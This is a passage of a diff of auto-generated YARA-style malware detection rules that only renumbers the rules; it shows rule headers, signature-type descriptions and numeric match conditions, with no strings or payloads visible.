1)*20259+(#a_01_2 & 1)*111+(#a_01_3 & 1)*78) >=30 } -rule _InfrastructureShared_28563{ +rule _InfrastructureShared_30319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372806,7 +395688,7 @@ rule _InfrastructureShared_28563{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*110+(#a_01_4 & 1)*105) >=5 } -rule _InfrastructureShared_28564{ +rule _InfrastructureShared_30320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -372819,7 +395701,7 @@ rule _InfrastructureShared_28564{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*53+(#a_01_4 & 1)*51+(#a_01_6 & 1)*52) >=9 } -rule _InfrastructureShared_28565{ +rule _InfrastructureShared_30321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 07 00 21 " @@ -372834,7 +395716,7 @@ rule _InfrastructureShared_28565{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*117+(#a_01_2 & 1)*83+(#a_01_4 & 1)*109+(#a_01_5 & 1)*10246+(#a_01_6 & 1)*69) >=2 } -rule _InfrastructureShared_28566{ +rule _InfrastructureShared_30322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372848,7 +395730,7 @@ rule _InfrastructureShared_28566{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1575+(#a_01_2 & 1)*99+(#a_01_4 & 1)*69+(#a_01_5 & 1)*67) >=6 } -rule _InfrastructureShared_28567{ +rule _InfrastructureShared_30323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372861,7 +395743,7 @@ rule _InfrastructureShared_28567{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*55+(#a_01_3 & 1)*54+(#a_01_4 & 1)*52) >=6 } -rule _InfrastructureShared_28568{ +rule _InfrastructureShared_30324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -372878,7 +395760,7 @@ rule _InfrastructureShared_28568{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*22356+(#a_01_2 & 1)*28531+(#a_01_3 & 1)*18432+(#a_01_4 & 1)*12141+(#a_01_5 & 1)*11622+(#a_01_6 & 1)*16971+(#a_01_7 & 1)*28537) >=8 } -rule _InfrastructureShared_28569{ +rule _InfrastructureShared_30325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -372894,7 +395776,7 @@ rule _InfrastructureShared_28569{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21845+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=1 } -rule _InfrastructureShared_28570{ +rule _InfrastructureShared_30326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -372911,7 +395793,7 @@ rule _InfrastructureShared_28570{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*12572+(#a_01_2 & 1)*29808+(#a_01_3 & 1)*8313+(#a_01_4 & 1)*29550+(#a_01_6 & 1)*111+(#a_01_7 & 1)*101+(#a_01_9 & 1)*80) >=10 } -rule _InfrastructureShared_28571{ +rule _InfrastructureShared_30327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -372923,7 +395805,7 @@ rule _InfrastructureShared_28571{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*109+(#a_01_4 & 1)*78) >=4 } -rule _InfrastructureShared_28572{ +rule _InfrastructureShared_30328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372935,7 +395817,7 @@ rule _InfrastructureShared_28572{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*190+(#a_01_4 & 1)*218) >=5 } -rule _InfrastructureShared_28573{ +rule _InfrastructureShared_30329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372949,7 +395831,7 @@ rule _InfrastructureShared_28573{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*103+(#a_01_3 & 1)*66+(#a_01_4 & 1)*21104+(#a_01_5 & 1)*29797) >=6 } -rule _InfrastructureShared_28574{ +rule _InfrastructureShared_30330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -372965,7 +395847,7 @@ rule _InfrastructureShared_28574{ ((#a_01_0 & 1)*19747+(#a_01_1 & 1)*8290+(#a_01_2 & 1)*11571+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0+(#a_01_7 & 1)*51) >=8 } -rule _InfrastructureShared_28575{ +rule _InfrastructureShared_30331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -372978,7 +395860,7 @@ rule _InfrastructureShared_28575{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*52+(#a_01_2 & 1)*26465+(#a_01_4 & 1)*115) >=5 } -rule _InfrastructureShared_28576{ +rule _InfrastructureShared_30332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -372991,7 +395873,7 @@ rule _InfrastructureShared_28576{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*110+(#a_01_3 & 1)*71+(#a_01_5 & 1)*1662) >=6 } -rule _InfrastructureShared_28577{ +rule _InfrastructureShared_30333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 04 00 21 " @@ -373002,7 +395884,7 @@ rule _InfrastructureShared_28577{ ((#a_01_0 & 1)*16675+(#a_01_3 & 1)*65) >=40 } -rule _InfrastructureShared_28578{ +rule _InfrastructureShared_30334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -373016,7 +395898,7 @@ rule _InfrastructureShared_28578{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28423+(#a_01_2 & 1)*2053+(#a_01_4 & 1)*2560+(#a_01_5 & 1)*12851) >=6 } -rule _InfrastructureShared_28579{ +rule _InfrastructureShared_30335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -373029,7 +395911,7 @@ rule _InfrastructureShared_28579{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*108+(#a_01_3 & 1)*110+(#a_01_5 & 1)*77) >=6 } -rule _InfrastructureShared_28580{ +rule _InfrastructureShared_30336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -373041,7 +395923,7 @@ rule _InfrastructureShared_28580{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*108+(#a_01_3 & 1)*45) >=30 } -rule _InfrastructureShared_28581{ +rule _InfrastructureShared_30337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -373057,7 +395939,7 @@ rule _InfrastructureShared_28581{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*84+(#a_01_3 & 1)*25665+(#a_01_4 & 1)*28279+(#a_01_5 & 1)*21267+(#a_01_6 & 1)*25971+(#a_01_7 & 1)*8292) >=7 } -rule _InfrastructureShared_28582{ +rule _InfrastructureShared_30338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -373074,7 +395956,7 @@ rule _InfrastructureShared_28582{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30068+(#a_01_2 & 1)*29537+(#a_01_3 & 1)*18711+(#a_01_4 & 1)*21061+(#a_01_5 & 1)*23600+(#a_01_6 & 1)*28718+(#a_01_7 & 1)*71) >=4 } -rule _InfrastructureShared_28583{ +rule _InfrastructureShared_30339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -373087,7 +395969,7 @@ rule _InfrastructureShared_28583{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28271+(#a_01_3 & 1)*109+(#a_01_4 & 1)*84) >=5 } -rule _InfrastructureShared_28584{ +rule _InfrastructureShared_30340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,29 00 29 00 05 00 21 " @@ -373100,7 +395982,7 @@ rule _InfrastructureShared_28584{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*67+(#a_01_3 & 1)*32+(#a_01_4 & 1)*98) >=41 } -rule _InfrastructureShared_28585{ +rule _InfrastructureShared_30341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -373113,7 +395995,7 @@ rule _InfrastructureShared_28585{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28265+(#a_01_2 & 1)*25955+(#a_01_3 & 1)*8294) >=3 } -rule _InfrastructureShared_28586{ +rule _InfrastructureShared_30342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -373128,7 +396010,7 @@ rule _InfrastructureShared_28586{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*8293+(#a_01_2 & 1)*26988+(#a_01_3 & 1)*27749+(#a_01_4 & 1)*26998+(#a_01_6 & 1)*101) >=4 } -rule _InfrastructureShared_28587{ +rule _InfrastructureShared_30343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,32 00 32 00 06 00 21 " @@ -373141,7 +396023,7 @@ rule _InfrastructureShared_28587{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*100+(#a_01_3 & 1)*118+(#a_01_4 & 1)*32) >=50 } -rule _InfrastructureShared_28588{ +rule _InfrastructureShared_30344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -373155,7 +396037,7 @@ rule _InfrastructureShared_28588{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*49+(#a_01_4 & 1)*116+(#a_01_5 & 1)*30322+(#a_01_6 & 1)*26967) >=7 } -rule _InfrastructureShared_28589{ +rule _InfrastructureShared_30345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 09 00 21 " @@ -373170,7 +396052,7 @@ rule _InfrastructureShared_28589{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*101+(#a_01_3 & 1)*108+(#a_01_4 & 1)*116+(#a_01_6 & 1)*114+(#a_01_7 & 1)*116) >=5 } -rule _InfrastructureShared_28590{ +rule _InfrastructureShared_30346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,ffffffd2 00 ffffffd2 00 07 00 21 " @@ -373185,7 +396067,7 @@ rule _InfrastructureShared_28590{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*69+(#a_01_3 & 1)*103+(#a_01_4 & 1)*97+(#a_01_5 & 1)*24938+(#a_01_6 & 1)*32) >=210 } -rule _InfrastructureShared_28591{ +rule _InfrastructureShared_30347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -373200,7 +396082,7 @@ rule _InfrastructureShared_28591{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*81+(#a_01_3 & 1)*32+(#a_01_5 & 1)*52+(#a_01_6 & 1)*18445+(#a_01_7 & 1)*29268) >=8 } -rule _InfrastructureShared_28592{ +rule _InfrastructureShared_30348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -373213,7 +396095,7 @@ rule _InfrastructureShared_28592{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*1584+(#a_01_4 & 1)*77+(#a_01_5 & 1)*102) >=6 } -rule _InfrastructureShared_28593{ +rule _InfrastructureShared_30349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 09 00 21 " @@ -373230,7 +396112,7 @@ rule _InfrastructureShared_28593{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*11822+(#a_01_3 & 1)*11099+(#a_01_5 & 1)*4+(#a_01_6 & 1)*17996+(#a_01_7 & 1)*116+(#a_01_8 & 1)*50) >=7 } -rule _InfrastructureShared_28594{ +rule _InfrastructureShared_30350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -373243,7 +396125,7 @@ rule _InfrastructureShared_28594{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*115+(#a_01_2 & 1)*110+(#a_01_3 & 1)*8307) >=4 } -rule _InfrastructureShared_28595{ +rule _InfrastructureShared_30351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 05 00 06 00 21 " @@ -373258,7 +396140,7 @@ rule _InfrastructureShared_28595{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*65+(#a_01_2 & 1)*100+(#a_01_3 & 1)*116+(#a_01_4 & 1)*29800+(#a_01_5 & 1)*30580) >=5 } -rule _InfrastructureShared_28596{ +rule _InfrastructureShared_30352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 0c 00 21 " @@ -373278,7 +396160,7 @@ rule _InfrastructureShared_28596{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*46+(#a_01_2 & 1)*13108+(#a_01_3 & 1)*29709+(#a_01_4 & 1)*16675+(#a_01_5 & 1)*115+(#a_01_6 & 1)*105+(#a_01_7 & 1)*102+(#a_01_8 & 1)*12851+(#a_01_10 & 1)*10+(#a_01_11 & 1)*10) >=12 } -rule _InfrastructureShared_28597{ +rule _InfrastructureShared_30353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -373292,7 +396174,7 @@ rule _InfrastructureShared_28597{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*115+(#a_01_2 & 1)*105+(#a_01_3 & 1)*102+(#a_01_4 & 1)*12851) >=5 } -rule _InfrastructureShared_28598{ +rule _InfrastructureShared_30354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 06 00 21 " @@ -373306,7 +396188,7 @@ rule _InfrastructureShared_28598{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*92+(#a_01_3 & 1)*111+(#a_01_4 & 1)*50+(#a_01_5 & 1)*101) >=30 } -rule _InfrastructureShared_28599{ +rule _InfrastructureShared_30355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 06 00 21 " @@ -373320,7 +396202,7 @@ rule _InfrastructureShared_28599{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*92+(#a_01_3 & 1)*111+(#a_01_4 & 1)*50+(#a_01_5 & 1)*26967) >=30 } -rule _InfrastructureShared_28600{ +rule _InfrastructureShared_30356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,fffffff8 07 fffffff8 07 10 00 21 " @@ -373339,7 +396221,7 @@ rule _InfrastructureShared_28600{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18702+(#a_01_2 & 1)*18789+(#a_01_3 & 1)*20506+(#a_01_5 & 1)*106+(#a_01_7 & 1)*115+(#a_01_9 & 1)*73+(#a_01_10 & 1)*18467+(#a_01_12 & 1)*256+(#a_01_13 & 1)*2) >=2040 } -rule _InfrastructureShared_28601{ +rule _InfrastructureShared_30357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -373352,7 +396234,7 @@ rule _InfrastructureShared_28601{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101+(#a_01_4 & 1)*109+(#a_01_5 & 1)*73) >=5 } -rule _InfrastructureShared_28602{ +rule _InfrastructureShared_30358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -373364,7 +396246,7 @@ rule _InfrastructureShared_28602{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*256+(#a_01_3 & 1)*2) >=6 } -rule _InfrastructureShared_28603{ +rule _InfrastructureShared_30359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 04 00 21 " @@ -373376,7 +396258,7 @@ rule _InfrastructureShared_28603{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*43+(#a_01_3 & 1)*105) >=15 } -rule _InfrastructureShared_28604{ +rule _InfrastructureShared_30360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -373389,7 +396271,7 @@ rule _InfrastructureShared_28604{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*37+(#a_01_3 & 1)*99+(#a_01_4 & 1)*104) >=30 } -rule _InfrastructureShared_28605{ +rule _InfrastructureShared_30361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 0c 00 21 " @@ -373410,7 +396292,7 @@ rule _InfrastructureShared_28605{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*25193+(#a_01_3 & 1)*24933+(#a_01_4 & 1)*30062+(#a_01_5 & 1)*27745+(#a_01_6 & 1)*26995+(#a_01_7 & 1)*14381+(#a_01_8 & 1)*13365+(#a_01_9 & 1)*25970+(#a_01_10 & 1)*29285+(#a_01_11 & 1)*13877) >=30 } -rule _InfrastructureShared_28606{ +rule _InfrastructureShared_30362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -373427,7 +396309,7 @@ rule _InfrastructureShared_28606{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*28537+(#a_01_3 & 1)*14177+(#a_01_4 & 1)*13925+(#a_01_5 & 1)*11846+(#a_01_6 & 1)*28537+(#a_01_7 & 1)*14177) >=8 } -rule _InfrastructureShared_28607{ +rule _InfrastructureShared_30363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -373444,7 +396326,7 @@ rule _InfrastructureShared_28607{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*28537+(#a_01_3 & 1)*14177+(#a_01_4 & 1)*13925+(#a_01_5 & 1)*28483+(#a_01_6 & 1)*27715+(#a_01_7 & 1)*26469) >=8 } -rule _InfrastructureShared_28608{ +rule _InfrastructureShared_30364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -373461,7 +396343,7 @@ rule _InfrastructureShared_28608{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26723+(#a_01_2 & 1)*29728+(#a_01_3 & 1)*25959+(#a_01_4 & 1)*25970+(#a_01_6 & 1)*109+(#a_01_8 & 1)*44+(#a_01_9 & 1)*58) >=10 } -rule _InfrastructureShared_28609{ +rule _InfrastructureShared_30365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -373473,7 +396355,7 @@ rule _InfrastructureShared_28609{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*109+(#a_01_3 & 1)*108) >=30 } -rule _InfrastructureShared_28610{ +rule _InfrastructureShared_30366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 07 00 21 " @@ -373488,7 +396370,7 @@ rule _InfrastructureShared_28610{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*115+(#a_01_2 & 1)*104+(#a_01_3 & 1)*83+(#a_01_4 & 1)*21076+(#a_01_6 & 1)*1) >=5 } -rule _InfrastructureShared_28611{ +rule _InfrastructureShared_30367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -373506,7 +396388,7 @@ rule _InfrastructureShared_28611{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*110+(#a_01_2 & 1)*101+(#a_01_3 & 1)*97+(#a_01_4 & 1)*28531+(#a_01_5 & 1)*28520+(#a_01_6 & 1)*17672+(#a_01_8 & 1)*23590+(#a_01_9 & 1)*38) >=10 } -rule _InfrastructureShared_28612{ +rule _InfrastructureShared_30368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 12 00 21 " @@ -373531,7 +396413,7 @@ rule _InfrastructureShared_28612{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29793+(#a_01_2 & 1)*17518+(#a_01_3 & 1)*1280+(#a_01_4 & 1)*13166+(#a_01_5 & 1)*29728+(#a_01_6 & 1)*32+(#a_01_7 & 1)*7680+(#a_01_8 & 1)*17230+(#a_01_9 & 1)*28524+(#a_01_10 & 1)*26977+(#a_01_11 & 1)*115+(#a_01_14 & 1)*24832+(#a_01_15 & 1)*28265+(#a_01_16 & 1)*29806+(#a_01_17 & 1)*28015) >=18 } -rule _InfrastructureShared_28613{ +rule _InfrastructureShared_30369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -373545,7 +396427,7 @@ rule _InfrastructureShared_28613{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_28614{ +rule _InfrastructureShared_30370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 06 00 21 " @@ -373558,7 +396440,7 @@ rule _InfrastructureShared_28614{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25445+(#a_01_3 & 1)*32+(#a_01_5 & 1)*99) >=30 } -rule _InfrastructureShared_28615{ +rule _InfrastructureShared_30371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -373572,7 +396454,7 @@ rule _InfrastructureShared_28615{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11877+(#a_01_2 & 1)*25966+(#a_01_3 & 1)*25975+(#a_01_4 & 1)*32) >=3 } -rule _InfrastructureShared_28616{ +rule _InfrastructureShared_30372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -373585,7 +396467,7 @@ rule _InfrastructureShared_28616{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*110+(#a_01_2 & 1)*80+(#a_01_4 & 1)*116) >=40 } -rule _InfrastructureShared_28617{ +rule _InfrastructureShared_30373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -373600,7 +396482,7 @@ rule _InfrastructureShared_28617{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8293+(#a_01_2 & 1)*8289+(#a_01_3 & 1)*26995+(#a_01_4 & 1)*22100+(#a_01_5 & 1)*26485) >=3 } -rule _InfrastructureShared_28618{ +rule _InfrastructureShared_30374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -373613,7 +396495,7 @@ rule _InfrastructureShared_28618{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-18749+(#a_01_2 & 1)*20883+(#a_01_3 & 1)*21320) >=5 } -rule _InfrastructureShared_28619{ +rule _InfrastructureShared_30375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -373626,7 +396508,7 @@ rule _InfrastructureShared_28619{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*68+(#a_01_2 & 1)*8779+(#a_01_4 & 1)*55) >=5 } -rule _InfrastructureShared_28620{ +rule _InfrastructureShared_30376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -373640,7 +396522,7 @@ rule _InfrastructureShared_28620{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1575+(#a_01_2 & 1)*99+(#a_01_4 & 1)*57+(#a_01_5 & 1)*103) >=6 } -rule _InfrastructureShared_28621{ +rule _InfrastructureShared_30377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -373655,7 +396537,7 @@ rule _InfrastructureShared_28621{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*751+(#a_01_2 & 1)*4354+(#a_01_3 & 1)*-12798+(#a_01_4 & 1)*773+(#a_01_5 & 1)*-6654) >=6 } -rule _InfrastructureShared_28622{ +rule _InfrastructureShared_30378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 07 00 21 " @@ -373668,7 +396550,7 @@ rule _InfrastructureShared_28622{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*50+(#a_01_5 & 1)*97+(#a_01_6 & 1)*40) >=9 } -rule _InfrastructureShared_28623{ +rule _InfrastructureShared_30379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -373679,7 +396561,7 @@ rule _InfrastructureShared_28623{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*32) >=30 } -rule _InfrastructureShared_28624{ +rule _InfrastructureShared_30380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -373695,7 +396577,7 @@ rule _InfrastructureShared_28624{ ((#a_01_0 & 1)*21539+(#a_01_3 & 1)*117+(#a_01_4 & 1)*82+(#a_01_5 & 1)*82+(#a_01_6 & 1)*50+(#a_01_7 & 1)*24940+(#a_01_9 & 1)*8975) >=10 } -rule _InfrastructureShared_28625{ +rule _InfrastructureShared_30381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 12 00 21 " @@ -373721,7 +396603,7 @@ rule _InfrastructureShared_28625{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25715+(#a_01_2 & 1)*27748+(#a_01_3 & 1)*18029+(#a_01_4 & 1)*24398+(#a_01_5 & 1)*25460+(#a_01_6 & 1)*3584+(#a_01_7 & 1)*29295+(#a_01_8 & 1)*12800+(#a_01_9 & 1)*21827+(#a_01_10 & 1)*25120+(#a_01_11 & 1)*29555+(#a_01_12 & 1)*30063+(#a_01_13 & 1)*48+(#a_01_15 & 1)*49+(#a_01_16 & 1)*48+(#a_01_17 & 1)*48) >=18 } -rule _InfrastructureShared_28626{ +rule _InfrastructureShared_30382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0c 00 21 " @@ -373742,7 +396624,7 @@ rule _InfrastructureShared_28626{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*16707+(#a_01_2 & 1)*14957+(#a_01_3 & 1)*8233+(#a_01_4 & 1)*20581+(#a_01_5 & 1)*28261+(#a_01_6 & 1)*28524+(#a_01_7 & 1)*25953+(#a_01_8 & 1)*28265+(#a_01_9 & 1)*28516+(#a_01_10 & 1)*11877+(#a_01_11 & 1)*25710) >=10 } -rule _InfrastructureShared_28627{ +rule _InfrastructureShared_30383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -373761,7 +396643,7 @@ rule _InfrastructureShared_28627{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*12147+(#a_01_2 & 1)*29295+(#a_01_3 & 1)*8306+(#a_01_4 & 1)*29555+(#a_01_5 & 1)*30063+(#a_01_6 & 1)*48+(#a_01_8 & 1)*49+(#a_01_9 & 1)*48+(#a_01_10 & 1)*48) >=11 } -rule _InfrastructureShared_28628{ +rule _InfrastructureShared_30384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -373775,7 +396657,7 @@ rule _InfrastructureShared_28628{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27234+(#a_01_2 & 1)*48+(#a_01_4 & 1)*48+(#a_01_6 & 1)*48) >=8 } -rule _InfrastructureShared_28629{ +rule _InfrastructureShared_30385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 08 00 09 00 21 " @@ -373789,7 +396671,7 @@ rule _InfrastructureShared_28629{ ((#a_01_0 & 1)*16675+(#a_01_4 & 1)*99+(#a_01_6 & 1)*45+(#a_01_7 & 1)*97+(#a_01_8 & 1)*77) >=8 } -rule _InfrastructureShared_28630{ +rule _InfrastructureShared_30386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -373803,7 +396685,7 @@ rule _InfrastructureShared_28630{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*97+(#a_01_3 & 1)*83+(#a_01_5 & 1)*97+(#a_01_6 & 1)*8448) >=7 } -rule _InfrastructureShared_28631{ +rule _InfrastructureShared_30387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -373816,7 +396698,7 @@ rule _InfrastructureShared_28631{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*46+(#a_01_3 & 1)*29528+(#a_01_4 & 1)*101) >=2 } -rule _InfrastructureShared_28632{ +rule 